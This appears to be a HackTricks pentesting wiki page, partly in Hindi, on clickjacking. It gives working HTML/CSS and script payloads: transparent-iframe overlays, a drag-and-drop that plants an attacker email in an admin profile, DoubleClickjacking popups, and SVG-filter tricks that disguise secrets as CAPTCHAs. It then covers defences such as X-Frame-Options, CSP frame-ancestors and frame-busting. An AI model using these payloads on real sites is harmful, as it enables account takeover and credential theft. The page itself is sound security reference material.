Clickjacking

Tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें

Clickjacking क्या है

एक clickjacking हमले में, एक उपयोगकर्ता को एक वेबपेज पर किसी ऐसे एलिमेंट पर क्लिक करने के लिए ठगा जाता है जो या तो अदृश्य होता है या किसी अलग एलिमेंट के रूप में छिपा होता है। इस हेरफेर से उपयोगकर्ता के लिए अनचाही परिणाम हो सकते हैं, जैसे कि malware का डाउनलोड होना, malicious वेब पेजों पर पुनर्निर्देशन, credentials या संवेदनशील जानकारी का प्रदान होना, धन का ट्रांसफर, या ऑनलाइन उत्पादों की खरीदारी।

Prepopulate forms ट्रिक

कभी-कभी यह संभव होता है कि किसी पेज को लोड करते समय GET पैरामीटर का उपयोग करके किसी फ़ॉर्म के फील्ड्स के मान को भरा जा सके। एक attacker इस व्यवहार का दुरुपयोग करके किसी फ़ॉर्म को मनमाने डेटा से भर सकता है और clickjacking payload भेज सकता है ताकि उपयोगकर्ता Submit बटन दबा दे।

Populate form with Drag&Drop

यदि आपको उपयोगकर्ता से फ़ॉर्म भरवाना है लेकिन आप सीधे उससे कुछ विशिष्ट जानकारी (जैसे email और/या वह specific password जो आप जानते हैं) लिखवाना नहीं चाहते, तो आप बस उसे कुछ Drag&Drop करने को कह सकते हैं जो आपका नियंत्रित डेटा लिख देगा, जैसा कि this example में दिखाया गया है।

Basic Payload

<style>
iframe {
position:relative;
width: 500px;
height: 700px;
opacity: 0.1;
z-index: 2;
}
div {
position:absolute;
top:470px;
left:60px;
z-index: 1;
}
</style>
<div>Click me</div>
<iframe src="https://vulnerable.com/email?email=asd@asd.asd"></iframe>

बहु-चरण Payload

<style>
iframe {
position:relative;
width: 500px;
height: 500px;
opacity: 0.1;
z-index: 2;
}
.firstClick, .secondClick {
position:absolute;
top:330px;
left:60px;
z-index: 1;
}
.secondClick {
left:210px;
}
</style>
<div class="firstClick">Click me first</div>
<div class="secondClick">Click me next</div>
<iframe src="https://vulnerable.net/account"></iframe>

Drag&Drop + Click payload

<html>
<head>
<style>
#payload{
position: absolute;
top: 20px;
}
iframe{
width: 1000px;
height: 675px;
border: none;
}
.xss{
position: fixed;
background: #F00;
}
</style>
</head>
<body>
<div style="height: 26px;width: 250px;left: 41.5%;top: 340px;" class="xss">.</div>
<div style="height: 26px;width: 50px;left: 32%;top: 327px;background: #F8F;" class="xss">1. Click and press delete button</div>
<div style="height: 30px;width: 50px;left: 60%;bottom: 40px;background: #F5F;" class="xss">3.Click me</div>
<iframe sandbox="allow-modals allow-popups allow-forms allow-same-origin allow-scripts" style="opacity:0.3"src="https://target.com/panel/administration/profile/"></iframe>
<div id="payload" draggable="true" ondragstart="event.dataTransfer.setData('text/plain', 'attacker@gmail.com')"><h3>2.DRAG ME TO THE RED BOX</h3></div>
</body>
</html>

XSS + Clickjacking

If you have identified an XSS attack that requires a user to click on some element to trigger the XSS and the page is vulnerable to clickjacking, you could abuse it to trick the user into clicking the button/link.
Example:
You found a self XSS in some private details of the account (details that only you can set and read). The page with the form to set these details is vulnerable to Clickjacking and you can prepopulate the form with the GET parameters.
An attacker could prepare a Clickjacking attack to that page prepopulating the form with the XSS payload and tricking the user into Submit the form. So, when the form is submitted and the values are modified, the user will execute the XSS.

DoubleClickjacking

Firstly explained in this post, this technique would ask the victim to double click on a button of a custom page placed in a specific location, and use the timing differences between mousedown and onclick events to load the victim page duing the double click so the victim actually clicks a legit button in the victim page.

An example could be seen in this video: https://www.youtube.com/watch?v=4rGvRRMrD18

A code example can be found in this page.

Warning

यह तकनीक उपयोगकर्ता को victim पेज में एक ही जगह पर क्लिक करने के लिए धोखा देने की अनुमति देती है, जिससे clickjacking के खिलाफ मौजूद सभी सुरक्षा बाइपास हो सकते हैं। इसलिए attacker को ऐसे sensitive actions that can be done with just 1 click, like OAuth prompts accepting permissions खोजने होंगे।

Some PoCs abandon iframes entirely and keep a background popup aligned under the cursor. The attacker page tracks mousemove and uses a small popup (window.open) that is moved with moveTo() while it is same-origin; once aligned, it is redirected back to the target origin so the next click lands on the real button. Because cross‑origin moveTo() is blocked, the popup is briefly navigated to an attacker origin for repositioning, then location/history.back() returns to the target. To surface the target at click time, the attacker can re‑open the popup with the same window name to bring it to the foreground without changing the URL.

<script>
let w;
onclick = () => {
if (!w) w = window.open('/shim', 'pj', 'width=360,height=240');
onmousemove = e => { try { w.moveTo(e.screenX, e.screenY); } catch {} };
// When ready, refocus the already-loaded popup
window.open('', 'pj');
};
</script>

SVG Filters / Cross-Origin Iframe UI Redressing

Modern Chromium/WebKit/Gecko builds CSS filter:url(#id) को cross-origin iframes पर लागू होने देते हैं। iframe के rasterized पिक्सल SVG filter graph में SourceGraphic के रूप में एक्सपोज़ होते हैं, इसलिए primitives जैसे feDisplacementMap, feBlend, feComposite, feColorMatrix, feTile, feMorphology आदि arbitrary तरीके से victim UI को यूज़र देखने से पहले warp कर सकते हैं, भले ही attacker कभी भी DOM को टच न करे। एक simple Liquid-Glass style filter इस तरह दिखता है:

<iframe src="https://victim.example" style="filter:url(#displacementFilter4)"></iframe>
  • उपयोगी प्रिमिटिव्स: feImage attacker bitmaps लोड करता है (उदा., overlays, displacement maps); feFlood constant-color mattes बनाता है; feOffset/feGaussianBlur highlights को refine करते हैं; feDisplacementMap text को refract/warp करता है; feComposite operator="arithmetic" arbitrary per-channel गणना लागू करता है (r = k1*i1*i2 + k2*i1 + k3*i2 + k4), जो contrast boosting, masking, और AND/OR operations के लिये पर्याप्त है; feTile pixel probes को crop और replicate करता है; feMorphology strokes को grow/shrink करता है; feColorMatrix luma को alpha में मूव करता है ताकि precise masks बन सके।

गोपनीय जानकारी को CAPTCHA-style prompts में विकृत करना

यदि कोई फ्रेम करने योग्य endpoint गोपनीय जानकारी (tokens, reset codes, API keys) रेंडर करता है, तो आक्रमणकर्ता उन्हें इस तरह विकृत कर सकता है कि वे CAPTCHA जैसी दिखें और मैन्युअल ट्रांसक्रिप्शन के लिये मजबूर कर सकें:

<svg width="0" height="0">
<filter id="captchaFilter">
<feTurbulence type="turbulence" baseFrequency="0.03" numOctaves="4" result="noise" />
<feDisplacementMap in="SourceGraphic" in2="noise" scale="6" xChannelSelector="R" yChannelSelector="G" />
</filter>
</svg>
<iframe src="https://victim" style="filter:url(#captchaFilter)"></iframe>
<input pattern="^6c79 ?7261 ?706f ?6e79$" required>

The distorted pixels fool the user into “solving” the captcha inside the attacker-controlled <input> whose pattern enforces the real victim secret.

पीड़ित इनपुट का पुनःसंदर्भ

Filters सर्जिकल तरीके से placeholder/validation टेक्स्ट को हटा सकते हैं जबकि उपयोगकर्ता के कीस्ट्रोक बरकरार रहते हैं। एक कार्यप्रवाह:

  1. feComposite operator="arithmetic" k2≈4 चमक बढ़ाता है ताकि grey helper text सफेद हो जाए।
  2. feTile कार्यक्षेत्र को input आयत तक सीमित करता है।
  3. feMorphology operator="erode" पीड़ित द्वारा टाइप किए गए dark glyphs को मोटा करता है और उन्हें result="thick" में स्टोर करता है।
  4. feFlood एक सफेद प्लेट बनाता है, feBlend mode="difference" thick के साथ, और दूसरा feComposite k2≈100 इसे एक तीखा luma matte बना देता है।
  5. feColorMatrix उस luma को alpha में ले जाता है, और feComposite in="SourceGraphic" operator="in" केवल user-entered glyphs को रखता है।
  6. एक और feBlend in2="white" और एक पतली crop एक साफ textbox देता है, जिसके बाद हमलावर अपने HTML labels (उदा., “Enter your email”) ओवरले कर देता है जबकि hidden iframe अभी भी victim origin की password policy लागू करता है।

Safari को feTile के साथ दिक्कत होती है; वही प्रभाव spatial mattes से पुनःउत्पन्न किया जा सकता है जो feFlood + feColorMatrix + feComposite से बनते हैं, WebKit-only payloads के लिए।

पिक्सेल प्रोब्स, लॉजिक और स्टेट मशीनें

By cropping a 2–4 px region with feTile and tiling it to 100% of the viewport, the attacker transforms the sampled color into a full-frame texture that can be thresholded into a boolean mask:

<filter id="pixelProbe">
<feTile x="313" y="141" width="4" height="4" />
<feTile x="0" y="0" width="100%" height="100%" result="probe" />
<feComposite in="probe" operator="arithmetic" k2="120" k4="-1" />
<feColorMatrix type="matrix" values="0 0 0 0 0  0 0 0 0 0  0 0 0 0 0  0 0 1 0 0" result="mask" />
<feGaussianBlur in="SourceGraphic" stdDeviation="2" />
<feComposite operator="in" in2="mask" />
<feBlend in2="SourceGraphic" />
</filter>

For arbitrary colors, a feFlood reference (e.g., #0B57D0) plus feBlend mode="difference" and another arithmetic composite (k2≈100, k4 as tolerance) outputs white only when the sampled pixel matches the target shade. Feeding these masks into feComposite with tuned k1..k4 yields logic gates: AND via k1=1, OR via k2=k3=1, XOR via feBlend mode="difference", NOT via blending against white. Chaining gates makes a full adder inside the filter graph, proving the pipeline is functionally complete.

Attackers can therefore read UI state without JavaScript. Example booleans from a modal workflow:

  • D (dialog visible): एक अंधेरे कोने को probe करें और white के खिलाफ जाँच करें।
  • L (dialog loaded): उन coordinates को probe करें जहाँ button तैयार होने पर दिखाई देता है।
  • C (checkbox checked): checkbox pixel की तुलना active blue #0B57D0 के साथ करें।
  • R (red success/failure banner): banner rectangle के अंदर feMorphology और red thresholds का उपयोग करें।

Each detected state gates a different overlay bitmap embedded via feImage xlink:href="data:...". Masking those bitmaps with D, L, C, R keeps the overlays synchronized with the real dialog and walks the victim through multi-step workflows (password resets, approvals, destructive confirmations) without ever exposing the DOM.

Sandboxed iframe Basic Auth dialog (no allow-popups)

A sandboxed iframe without allow-popups can still surface a browser-controlled HTTP Basic Authentication modal when a load returns 401 with WWW-Authenticate. The dialog is spawned by the browser’s networking/auth layer (not JS alert/prompt/confirm), so popup restrictions in the sandbox do not suppress it. If you can script the iframe (e.g., sandbox="allow-scripts") you can navigate it to any endpoint issuing a Basic Auth challenge:

<iframe id="basic" sandbox="allow-scripts"></iframe>
<script>
basic.src = "https://httpbin.org/basic-auth/user/pass"
</script>

जब प्रतिक्रिया आ जाती है, तो ब्राउज़र क्रेडेंशियल के लिए प्रॉम्प्ट करता है भले ही पॉपअप्स निषिद्ध हों। इस ट्रिक से किसी trusted origin को फ्रेम करने पर UI redress/phishing संभव हो जाता है: “sandboxed” विजेट के अंदर अनपेक्षित modal prompts उपयोगकर्ताओं को भ्रमित कर सकते हैं या password managers को संग्रहीत क्रेडेंशियल्स ऑफर करने के लिए ट्रिगर कर सकते हैं।

ब्राउज़र एक्सटेंशन: DOM-based autofill clickjacking

पीड़ित पृष्ठों को iframe करने के अलावा, हमलावर पेज में inject किए गए browser extension के UI तत्वों को लक्षित कर सकते हैं। Password managers focused inputs के पास autofill dropdowns रेंडर करते हैं; attacker-controlled फील्ड को focus करके और extension के dropdown को छिपाकर/occlude करके (opacity/overlay/top-layer tricks), मजबूर उपयोगकर्ता का क्लिक किसी संग्रहीत आइटम का चयन कर सकता है और संवेदनशील डेटा attacker-controlled inputs में भर सकता है। यह वैरिएंट किसी iframe exposure की आवश्यकता नहीं रखता और पूरी तरह DOM/CSS manipulation के जरिए काम करता है।

A real-world case: Dashlane disclosed a passkey dialog clickjacking issue (Aug 2025) where XSS on the relying-party domain allowed an attacker to overlay HTML over the extension’s passkey dialog. A click on the attacker’s element would proceed with the legitimate passkey login (the passkey itself isn’t exposed), effectively turning a UI-redress into account access if the RP is already vulnerable to script injection.

Clickjacking को कम करने की रणनीतियाँ

क्लाइंट-साइड रक्षा

क्लाइंट साइड पर execute होने वाली स्क्रिप्ट्स Clickjacking रोकने के लिए निम्न कारवाई कर सकती हैं:

  • एप्लिकेशन विंडो को main या top window बनाना।
  • सभी फ्रेम्स को दृश्यमान बनाना।
  • अदृश्य फ्रेम्स पर क्लिक रोकना।
  • संभावित Clickjacking प्रयासों का पता लगाना और उपयोगकर्ताओं को अलर्ट करना।

हालाँकि, ये frame-busting स्क्रिप्ट्स बाईपास किए जा सकते हैं:

  • ब्राउज़रों की सुरक्षा सेटिंग्स: कुछ ब्राउज़र इन स्क्रिप्ट्स को उनकी सुरक्षा सेटिंग्स या JavaScript सपोर्ट की कमी के आधार पर ब्लॉक कर सकते हैं।
  • HTML5 iframe sandbox Attribute: एक हमलावर sandbox attribute को allow-forms या allow-scripts मानों के साथ सेट करके frame buster स्क्रिप्ट्स को निष्प्रभावी कर सकता है बशर्ते allow-top-navigation शामिल न हो। यह iframe को यह सत्यापित करने से रोकता है कि क्या यह top window है, e.g.,
<iframe
id="victim_website"
src="https://victim-website.com"
sandbox="allow-forms allow-scripts"></iframe>

The allow-forms और allow-scripts values iframe के भीतर क्रियाओं को सक्षम करते हैं जबकि टॉप-लेवल नेविगेशन को अक्षम करते हैं। लक्षित साइट की इच्छित कार्यक्षमता सुनिश्चित करने के लिए, हमला प्रकार के अनुसार अतिरिक्त अनुमतियाँ जैसे allow-same-origin और allow-modals आवश्यक हो सकती हैं। ब्राउज़र कंसोल संदेश यह मार्गदर्शन कर सकते हैं कि कौन-सी अनुमतियाँ अनुमति देनी चाहिए।

सर्वर-साइड सुरक्षा

X-Frame-Options

The X-Frame-Options HTTP response header ब्राउज़रों को यह बताता है कि किसी पेज को <frame> या <iframe> में रेंडर करना वैध है या नहीं, और यह Clickjacking को रोकने में मदद करता है:

  • X-Frame-Options: deny - कोई भी डोमेन कंटेंट को फ्रेम नहीं कर सकता।
  • X-Frame-Options: sameorigin - केवल वर्तमान साइट ही कंटेंट को फ्रेम कर सकती है।
  • X-Frame-Options: allow-from https://trusted.com - केवल निर्दिष्ट ‘uri’ ही पेज को फ्रेम कर सकती है।
  • ध्यान दें कि सीमाएँ हैं: यदि ब्राउज़र इस निर्देश का समर्थन नहीं करता है, तो यह काम नहीं कर सकता। कुछ ब्राउज़र CSP के frame-ancestors निर्देश को प्राथमिकता देते हैं।

Content Security Policy (CSP) frame-ancestors directive

frame-ancestors directive in CSP Clickjacking सुरक्षा के लिए सुझाया गया तरीका है:

  • frame-ancestors 'none' - X-Frame-Options: deny के समान।
  • frame-ancestors 'self' - X-Frame-Options: sameorigin के समान।
  • frame-ancestors trusted.com - X-Frame-Options: allow-from के समान।

For instance, the following CSP only allows framing from the same domain:

Content-Security-Policy: frame-ancestors 'self';

Further details and complex examples can be found in the frame-ancestors CSP documentation and Mozilla’s CSP frame-ancestors documentation.

Content Security Policy (CSP) with child-src and frame-src

Content Security Policy (CSP) एक सुरक्षा उपाय है जो यह निर्धारित करके Clickjacking और अन्य code injection attacks को रोकने में मदद करता है कि ब्राउज़र को किस स्रोत से कंटेंट लोड करने की अनुमति देनी है।

frame-src Directive

  • Frames के लिए वैध स्रोतों को परिभाषित करता है।
  • यह default-src directive की तुलना में अधिक विशिष्ट है।
Content-Security-Policy: frame-src 'self' https://trusted-website.com;

यह नीति समान origin (self) और https://trusted-website.com से frames की अनुमति देती है।

child-src निर्देश

  • CSP level 2 में web workers और frames के लिए वैध स्रोत सेट करने हेतु पेश किया गया।
  • यह frame-src और worker-src के लिए fallback के रूप में काम करता है।
Content-Security-Policy: child-src 'self' https://trusted-website.com;

यह नीति उसी origin (self) और https://trusted-website.com से आने वाले frames और workers को अनुमति देती है।

उपयोग नोट्स:

  • Deprecation: child-src को धीरे-धीरे हटाया जा रहा है और इसके स्थान पर frame-src और worker-src का उपयोग किया जा रहा है।
  • Fallback Behavior: यदि frame-src अनुपस्थित है, तो frames के लिए child-src को fallback के रूप में उपयोग किया जाता है। यदि दोनों अनुपस्थित हैं, तो default-src का उपयोग किया जाता है।
  • Strict Source Definition: directives में केवल विश्वसनीय स्रोत ही शामिल करें ताकि exploitation रोका जा सके।

JavaScript Frame-Breaking Scripts

हालाँकि यह पूरी तरह प्रभावी नहीं है, JavaScript-based frame-busting scripts का उपयोग किसी वेब पेज को फ़्रेम में डाले जाने से रोकने के लिए किया जा सकता है। उदाहरण:

if (top !== self) {
top.location = self.location
}

Anti-CSRF Tokens का उपयोग

  • Token Validation: वेब एप्लिकेशंस में anti-CSRF tokens का उपयोग करें ताकि state-changing requests उपयोगकर्ता की मंशा से ही हों और किसी Clickjacked पेज के माध्यम से न भेजे जाएँ।

References

Tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें